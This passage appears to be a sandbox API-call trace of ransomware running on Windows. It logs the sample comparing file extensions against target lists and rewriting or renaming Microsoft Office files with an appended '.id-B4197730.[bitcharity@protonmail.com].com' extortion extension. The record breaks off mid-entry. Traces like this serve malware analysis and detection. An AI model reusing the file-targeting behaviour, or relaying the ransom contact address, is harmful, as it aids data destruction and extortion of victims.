lstrlenW (lpString=".jpg") returned 4 [0257.770] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0257.770] lstrcmpiW (lpString1=".DLL", lpString2=".com") returned 1 [0257.770] lstrlenW (lpString="ONINTL.DLL") returned 10 [0257.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0257.771] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=169176) returned 1 [0257.771] CloseHandle (hObject=0x11d0) returned 1 [0257.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onintl.dll")) returned 0x220 [0257.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onintl.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0257.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned 63 [0257.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned 63 [0257.772] lstrlenW (lpString=".doc") returned 4 [0257.772] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.772] lstrlenW (lpString=".docx") returned 5 [0257.772] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0257.772] lstrlenW (lpString=".pdf") returned 4 [0257.772] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.772] lstrlenW (lpString=".xls") returned 4 [0257.772] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.772] lstrlenW (lpString=".xlsx") returned 5 [0257.772] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0257.772] lstrlenW (lpString=".ppt") returned 4 [0257.772] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned 63 [0257.772] lstrlenW (lpString=".zip") returned 4 [0257.772] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.772] lstrlenW (lpString=".rar") returned 4 [0257.772] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.772] lstrlenW (lpString=".bz2") returned 4 [0257.773] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.773] lstrlenW (lpString=".7z") returned 3 [0257.773] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned 63 [0257.773] lstrlenW (lpString=".dbf") returned 4 [0257.773] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned 63 [0257.773] lstrlenW (lpString=".1cd") returned 4 [0257.773] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned 63 [0257.773] lstrlenW (lpString=".jpg") returned 4 [0257.773] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned 63 [0257.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned 63 [0257.773] lstrlenW (lpString=".doc") returned 4 [0257.773] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.773] lstrlenW (lpString=".docx") returned 5 [0258.117] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0258.117] lstrlenW (lpString=".pdf") returned 4 [0258.117] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0258.117] lstrlenW (lpString=".xls") returned 4 [0258.117] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0258.117] lstrlenW (lpString=".xlsx") returned 5 [0258.117] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0258.117] lstrlenW (lpString=".ppt") returned 4 [0258.118] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0258.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned 63 [0258.118] lstrlenW (lpString=".zip") returned 4 [0258.118] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0258.118] lstrlenW (lpString=".rar") returned 4 [0258.118] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0258.118] lstrlenW (lpString=".bz2") returned 4 [0258.118] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0258.118] lstrlenW (lpString=".7z") returned 3 [0258.118] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0258.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned 63 [0258.118] lstrlenW (lpString=".dbf") returned 4 [0258.118] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0258.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned 63 [0258.118] lstrlenW (lpString=".1cd") returned 4 [0258.118] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0258.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned 63 [0258.118] lstrlenW (lpString=".jpg") returned 4 [0258.118] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0258.119] lstrcmpiW (lpString1=".HXC", lpString2=".com") returned 1 [0258.119] lstrlenW (lpString="SKYPEFB_ONLINEG_COL.HXC") returned 23 [0258.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1284 [0258.446] GetFileSizeEx (in: hFile=0x1284, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=671) returned 1 [0258.446] CloseHandle (hObject=0x1284) returned 1 [0258.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxc")) returned 0x220 [0258.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxc.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0258.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1284 [0258.447] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.447] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.447] CloseHandle (hObject=0x1284) returned 1 [0258.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC") returned 76 [0258.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC") returned 76 [0258.447] lstrlenW (lpString=".doc") returned 4 [0258.447] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0258.447] lstrlenW (lpString=".docx") returned 5 [0258.447] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0258.447] lstrlenW (lpString=".pdf") returned 4 [0258.447] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0258.447] lstrlenW (lpString=".xls") returned 4 [0258.447] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0258.447] lstrlenW (lpString=".xlsx") returned 5 [0258.447] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0258.448] lstrlenW (lpString=".ppt") returned 4 [0258.448] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0258.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC") returned 76 [0258.448] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.448] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeproject.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.449] CloseHandle (hObject=0x1284) returned 1 [0258.450] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.450] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmevisio.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.450] CloseHandle (hObject=0x1284) returned 1 [0258.451] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.451] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeword.nrr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.452] CloseHandle (hObject=0x1284) returned 1 [0258.852] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.852] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\timesoln.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.854] CloseHandle (hObject=0x11d0) returned 1 [0258.855] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.855] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.855] CloseHandle (hObject=0x11d0) returned 1 [0258.857] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.857] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.858] CloseHandle (hObject=0x11d0) returned 1 [0258.859] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.859] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.859] CloseHandle (hObject=0x11d0) returned 1 [0258.860] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.860] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.861] CloseHandle (hObject=0x11d0) returned 1 [0258.862] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.862] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winschd.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.863] CloseHandle (hObject=0x11d0) returned 1 [0258.864] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.864] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.864] CloseHandle (hObject=0x11d0) returned 1 [0258.866] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.866] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.866] CloseHandle (hObject=0x11d0) returned 1 [0258.867] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.867] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.867] CloseHandle (hObject=0x11d0) returned 1 [0258.868] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.868] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.868] CloseHandle (hObject=0x11d0) returned 1 [0258.869] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.869] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.870] CloseHandle (hObject=0x11d0) returned 1 [0258.871] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.872] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\workflow.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.872] CloseHandle (hObject=0x11d0) returned 1 [0258.873] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.874] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xfunc.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.874] CloseHandle (hObject=0x11d0) returned 1 [0258.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlintl32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLINTL32.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlintl32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0258.876] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.876] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1036\\mso.acl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.877] CloseHandle (hObject=0x11d0) returned 1 [0258.878] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.878] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\3082\\mso.acl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.878] CloseHandle (hObject=0x11d0) returned 1 [0258.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0259.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzdat12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzdat12.accdu.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0259.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\DocumentFormat.OpenXml.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\documentformat.openxml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\DocumentFormat.OpenXml.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\documentformat.openxml.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0262.959] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0262.960] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0262.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 